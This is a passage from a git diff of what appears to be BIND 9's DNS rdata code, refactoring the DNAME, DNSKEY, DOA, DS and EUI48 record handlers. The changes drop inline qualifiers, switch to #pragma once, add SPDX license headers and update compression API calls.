  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,9 +12,6 @@
  */
 
 /* draft-ietf-dnsext-delegation-signer-05.txt */
-#ifndef GENERIC_DLV_32769_H
-#define GENERIC_DLV_32769_H 1
+#pragma once
 
 typedef struct dns_rdata_ds dns_rdata_dlv_t;
-
-#endif /* GENERIC_DLV_32769_H */
diff --git a/lib/dns/rdata/generic/dname_39.c b/lib/dns/rdata/generic/dname_39.c
index 468a6e8a60..1e913be4de 100644
--- a/lib/dns/rdata/generic/dname_39.c
+++ b/lib/dns/rdata/generic/dname_39.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_DNAME_ATTRIBUTES (DNS_RDATATYPEATTR_SINGLETON)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_dname(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -40,12 +42,12 @@ fromtext_dname(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_dname(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_dname);
 	REQUIRE(rdata->length != 0);
@@ -56,12 +58,12 @@ totext_dname(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_dname(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -70,13 +72,13 @@ fromwire_dname(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_dname(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -85,15 +87,15 @@ towire_dname(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_dname);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_dname(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -118,7 +120,7 @@ compare_dname(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_dname(ARGS_FROMSTRUCT) {
 	dns_rdata_dname_t *dname = source;
 	isc_region_t region;
@@ -135,7 +137,7 @@ fromstruct_dname(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_dname(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_dname_t *dname = target;
@@ -153,12 +155,12 @@ tostruct_dname(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&dname->dname, NULL);
-	RETERR(name_duporclone(&name, mctx, &dname->dname));
+	name_duporclone(&name, mctx, &dname->dname);
 	dname->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_dname(ARGS_FREESTRUCT) {
 	dns_rdata_dname_t *dname = source;
 
@@ -173,18 +175,19 @@ freestruct_dname(ARGS_FREESTRUCT) {
 	dname->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_dname(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_dname);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_dname);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_dname(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -198,7 +201,7 @@ digest_dname(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_dname(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_dname);
 
@@ -210,7 +213,7 @@ checkowner_dname(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_dname(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_dname);
 
@@ -221,7 +224,7 @@ checknames_dname(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_dname(ARGS_COMPARE) {
 	return (compare_dname(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/dname_39.h b/lib/dns/rdata/generic/dname_39.h
index ff370bee1e..14c71fb0f7 100644
--- a/lib/dns/rdata/generic/dname_39.h
+++ b/lib/dns/rdata/generic/dname_39.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_DNAME_39_H
-#define GENERIC_DNAME_39_H 1
+#pragma once
 
 /*!
  *  \brief per RFC2672 */
@@ -20,5 +21,3 @@ typedef struct dns_rdata_dname {
 	isc_mem_t *mctx;
 	dns_name_t dname;
 } dns_rdata_dname_t;
-
-#endif /* GENERIC_DNAME_39_H */
diff --git a/lib/dns/rdata/generic/dnskey_48.c b/lib/dns/rdata/generic/dnskey_48.c
index 1aa3f532e4..2df1e77e0f 100644
--- a/lib/dns/rdata/generic/dnskey_48.c
+++ b/lib/dns/rdata/generic/dnskey_48.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,14 +20,14 @@
 
 #define RRTYPE_DNSKEY_ATTRIBUTES (DNS_RDATATYPEATTR_DNSSEC)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_dnskey(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_dnskey);
 
 	return (generic_fromtext_key(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_dnskey(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_dnskey);
@@ -33,14 +35,14 @@ totext_dnskey(ARGS_TOTEXT) {
 	return (generic_totext_key(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_dnskey(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_dnskey);
 
 	return (generic_fromwire_key(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_dnskey(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -54,7 +56,7 @@ towire_dnskey(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_dnskey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -72,14 +74,14 @@ compare_dnskey(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_dnskey(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_dnskey);
 
 	return (generic_fromstruct_key(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_dnskey(ARGS_TOSTRUCT) {
 	dns_rdata_dnskey_t *dnskey = target;
 
@@ -94,7 +96,7 @@ tostruct_dnskey(ARGS_TOSTRUCT) {
 	return (generic_tostruct_key(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_dnskey(ARGS_FREESTRUCT) {
 	dns_rdata_dnskey_t *dnskey = (dns_rdata_dnskey_t *)source;
 
@@ -104,18 +106,19 @@ freestruct_dnskey(ARGS_FREESTRUCT) {
 	generic_freestruct_key(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_dnskey(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_dnskey);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_dnskey(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -127,7 +130,7 @@ digest_dnskey(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_dnskey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_dnskey);
 
@@ -139,7 +142,7 @@ checkowner_dnskey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_dnskey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_dnskey);
@@ -151,7 +154,7 @@ checknames_dnskey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_dnskey(ARGS_COMPARE) {
 	/*
 	 * Treat ALG 253 (private DNS) subtype name case sensitively.
diff --git a/lib/dns/rdata/generic/dnskey_48.h b/lib/dns/rdata/generic/dnskey_48.h
index a57c9f6fac..7a0bc6fcbb 100644
--- a/lib/dns/rdata/generic/dnskey_48.h
+++ b/lib/dns/rdata/generic/dnskey_48.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,10 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_DNSKEY_48_H
-#define GENERIC_DNSKEY_48_H 1
+#pragma once
 
 /*!
  *  \brief per RFC2535
  */
 
 typedef struct dns_rdata_key dns_rdata_dnskey_t;
-
-#endif /* GENERIC_DNSKEY_48_H */
diff --git a/lib/dns/rdata/generic/doa_259.c b/lib/dns/rdata/generic/doa_259.c
index c8a735b180..442149d29a 100644
--- a/lib/dns/rdata/generic/doa_259.c
+++ b/lib/dns/rdata/generic/doa_259.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_DOA_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_doa(ARGS_FROMTEXT) {
 	isc_token_t token;
 
@@ -69,7 +71,7 @@ fromtext_doa(ARGS_FROMTEXT) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_doa(ARGS_TOTEXT) {
 	char buf[sizeof("4294967295 ")];
 	isc_region_t region;
@@ -123,13 +125,12 @@ totext_doa(ARGS_TOTEXT) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_doa(ARGS_FROMWIRE) {
 	isc_region_t region;
 
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	REQUIRE(type == dns_rdatatype_doa);
 
@@ -154,7 +155,7 @@ fromwire_doa(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_doa(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -168,7 +169,7 @@ towire_doa(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_doa(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -186,7 +187,7 @@ compare_doa(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_doa(ARGS_FROMSTRUCT) {
 	dns_rdata_doa_t *doa = source;
 
@@ -203,7 +204,7 @@ fromstruct_doa(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, doa->data, doa->data_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_doa(ARGS_TOSTRUCT) {
 	dns_rdata_doa_t *doa = target;
 	isc_region_t region;
@@ -211,7 +212,7 @@ tostruct_doa(ARGS_TOSTRUCT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_doa);
 	REQUIRE(doa != NULL);
-	REQUIRE(rdata->length != 0);
+	REQUIRE(rdata->length >= 10);
 
 	doa->common.rdclass = rdata->rdclass;
 	doa->common.rdtype = rdata->type;
@@ -222,43 +223,28 @@ tostruct_doa(ARGS_TOSTRUCT) {
 	/*
 	 * DOA-ENTERPRISE
 	 */
-	if (region.length < 4) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	doa->enterprise = uint32_fromregion(&region);
 	isc_region_consume(&region, 4);
 
 	/*
 	 * DOA-TYPE
 	 */
-	if (region.length < 4) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	doa->type = uint32_fromregion(&region);
 	isc_region_consume(&region, 4);
 
 	/*
 	 * DOA-LOCATION
 	 */
-	if (region.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	doa->location = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 
 	/*
 	 * DOA-MEDIA-TYPE
 	 */
-	if (region.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	doa->mediatype_len = uint8_fromregion(&region);
 	isc_region_consume(&region, 1);
 	INSIST(doa->mediatype_len <= region.length);
 	doa->mediatype = mem_maybedup(mctx, region.base, doa->mediatype_len);
-	if (doa->mediatype == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&region, doa->mediatype_len);
 
 	/*
@@ -268,24 +254,15 @@ tostruct_doa(ARGS_TOSTRUCT) {
 	doa->data = NULL;
 	if (doa->data_len > 0) {
 		doa->data = mem_maybedup(mctx, region.base, doa->data_len);
-		if (doa->data == NULL) {
-			goto cleanup;
-		}
 		isc_region_consume(&region, doa->data_len);
 	}
 
 	doa->mctx = mctx;
 
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL && doa->mediatype != NULL) {
-		isc_mem_free(mctx, doa->mediatype);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_doa(ARGS_FREESTRUCT) {
 	dns_rdata_doa_t *doa = source;
 
@@ -306,18 +283,19 @@ freestruct_doa(ARGS_FREESTRUCT) {
 	doa->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_doa(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_doa);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_doa);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_doa(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -328,7 +306,7 @@ digest_doa(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_doa(ARGS_CHECKOWNER) {
 	UNUSED(name);
 	UNUSED(type);
@@ -340,7 +318,7 @@ checkowner_doa(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_doa(ARGS_CHECKNAMES) {
 	UNUSED(rdata);
 	UNUSED(owner);
@@ -351,7 +329,7 @@ checknames_doa(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_doa(ARGS_COMPARE) {
 	return (compare_doa(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/doa_259.h b/lib/dns/rdata/generic/doa_259.h
index 85c8d4b5c0..320bd7a0ce 100644
--- a/lib/dns/rdata/generic/doa_259.h
+++ b/lib/dns/rdata/generic/doa_259.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_DOA_259_H
-#define GENERIC_DOA_259_H 1
+#pragma once
 
 typedef struct dns_rdata_doa {
 	dns_rdatacommon_t common;
@@ -23,5 +24,3 @@ typedef struct dns_rdata_doa {
 	uint8_t location;
 	uint8_t mediatype_len;
 } dns_rdata_doa_t;
-
-#endif /* GENERIC_DOA_259_H */
diff --git a/lib/dns/rdata/generic/ds_43.c b/lib/dns/rdata/generic/ds_43.c
index bbfd136a68..2af212333a 100644
--- a/lib/dns/rdata/generic/ds_43.c
+++ b/lib/dns/rdata/generic/ds_43.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,7 +24,7 @@
 
 #include <dns/ds.h>
 
-static inline isc_result_t
+static isc_result_t
 generic_fromtext_ds(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char c;
@@ -80,14 +82,14 @@ generic_fromtext_ds(ARGS_FROMTEXT) {
 	return (isc_hex_tobuffer(lexer, target, length));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ds(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_ds);
 
 	return (generic_fromtext_ds(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_totext_ds(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("64000 ")];
@@ -146,7 +148,7 @@ generic_totext_ds(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ds(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_ds);
@@ -154,14 +156,13 @@ totext_ds(ARGS_TOTEXT) {
 	return (generic_totext_ds(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromwire_ds(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 
@@ -196,14 +197,14 @@ generic_fromwire_ds(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ds(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_ds);
 
 	return (generic_fromwire_ds(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ds(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -216,7 +217,7 @@ towire_ds(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_ds(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -232,7 +233,7 @@ compare_ds(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromstruct_ds(ARGS_FROMSTRUCT) {
 	dns_rdata_ds_t *ds = source;
 
@@ -262,14 +263,14 @@ generic_fromstruct_ds(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, ds->digest, ds->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ds(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_ds);
 
 	return (generic_fromstruct_ds(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_tostruct_ds(ARGS_TOSTRUCT) {
 	dns_rdata_ds_t *ds = target;
 	isc_region_t region;
@@ -291,15 +292,11 @@ generic_tostruct_ds(ARGS_TOSTRUCT) {
 	ds->length = region.length;
 
 	ds->digest = mem_maybedup(mctx, region.base, region.length);
-	if (ds->digest == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	ds->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ds(ARGS_TOSTRUCT) {
 	dns_rdata_ds_t *ds = target;
 
@@ -313,7 +310,7 @@ tostruct_ds(ARGS_TOSTRUCT) {
 	return (generic_tostruct_ds(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_ds(ARGS_FREESTRUCT) {
 	dns_rdata_ds_t *ds = source;
 
@@ -330,18 +327,19 @@ freestruct_ds(ARGS_FREESTRUCT) {
 	ds->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ds(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_ds);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ds(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -352,7 +350,7 @@ digest_ds(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_ds(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ds);
 
@@ -364,7 +362,7 @@ checkowner_ds(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_ds(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_ds);
 
@@ -375,7 +373,7 @@ checknames_ds(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ds(ARGS_COMPARE) {
 	return (compare_ds(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/ds_43.h b/lib/dns/rdata/generic/ds_43.h
index beead6becb..57e8494c36 100644
--- a/lib/dns/rdata/generic/ds_43.h
+++ b/lib/dns/rdata/generic/ds_43.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_DS_43_H
-#define GENERIC_DS_43_H 1
+#pragma once
 
 /*!
  *  \brief per draft-ietf-dnsext-delegation-signer-05.txt */
@@ -23,5 +24,3 @@ typedef struct dns_rdata_ds {
 	uint16_t length;
 	unsigned char *digest;
 } dns_rdata_ds_t;
-
-#endif /* GENERIC_DS_43_H */
diff --git a/lib/dns/rdata/generic/eui48_108.c b/lib/dns/rdata/generic/eui48_108.c
index 7be59c2c69..8dfdc74c5a 100644
--- a/lib/dns/rdata/generic/eui48_108.c
+++ b/lib/dns/rdata/generic/eui48_108.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_EUI48_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_eui48(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned char eui48[6];
@@ -50,7 +52,7 @@ fromtext_eui48(ARGS_FROMTEXT) {
 	return (mem_tobuffer(target, eui48, sizeof(eui48)));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_eui48(ARGS_TOTEXT) {
 	char buf[sizeof("xx-xx-xx-xx-xx-xx")];
 
@@ -65,14 +67,13 @@ totext_eui48(ARGS_TOTEXT) {
 	return (str_totext(buf, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_eui48(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 
 	REQUIRE(type == dns_rdatatype_eui48);
 
 	UNUSED(type);
-	UNUSED(options);
 	UNUSED(rdclass);
 	UNUSED(dctx);
 
@@ -84,7 +85,7 @@ fromwire_eui48(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sregion.base, sregion.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_eui48(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_eui48);
 	REQUIRE(rdata->length == 6);
@@ -94,7 +95,7 @@ towire_eui48(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_eui48(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -110,7 +111,7 @@ compare_eui48(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_eui48(ARGS_FROMSTRUCT) {
 	dns_rdata_eui48_t *eui48 = source;
 
@@ -125,7 +126,7 @@ fromstruct_eui48(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, eui48->eui48, sizeof(eui48->eui48)));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_eui48(ARGS_TOSTRUCT) {
 	dns_rdata_eui48_t *eui48 = target;
 
@@ -143,7 +144,7 @@ tostruct_eui48(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_eui48(ARGS_FREESTRUCT) {
 	dns_rdata_eui48_t *eui48 = source;
 
@@ -153,19 +154,20 @@ freestruct_eui48(ARGS_FREESTRUCT) {
 	return;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_eui48(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_eui48);
 	REQUIRE(rdata->length == 6);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_eui48(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -177,7 +179,7 @@ digest_eui48(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_eui48(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_eui48);
 
@@ -189,7 +191,7 @@ checkowner_eui48(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_eui48(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_eui48);
 	REQUIRE(rdata->length == 6);
@@ -201,7 +203,7 @@ checknames_eui48(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_eui48(ARGS_COMPARE) {
 	return (compare_eui48(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/eui48_108.h b/lib/dns/rdata/generic/eui48_108.h
index 012c523981..fb3cebd213 100644
--- a/lib/dns/rdata/generic/eui48_108.h
+++ b/lib/dns/rdata/generic/eui48_108.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,12 +12,9 @@
  */
 
 /* */
-#ifndef GENERIC_EUI48_108_H
-#define GENERIC_EUI48_108_H 1
+#pragma once
 
 typedef struct dns_rdata_eui48 {
 	dns_rdatacommon_t common;
 	unsigned char eui48[6];
 } dns_rdata_eui48_t;
-
-#endif /* GENERIC_EUI48_10k_H */
diff --git a/lib/dns/rdata/generic/eui64_109.c b/lib/dns/rdata/generic/eui64_109.c
index 381b87bbb8..2c25319e30 100644
--- a/lib/dns/rdata/generic/eui64_109.c
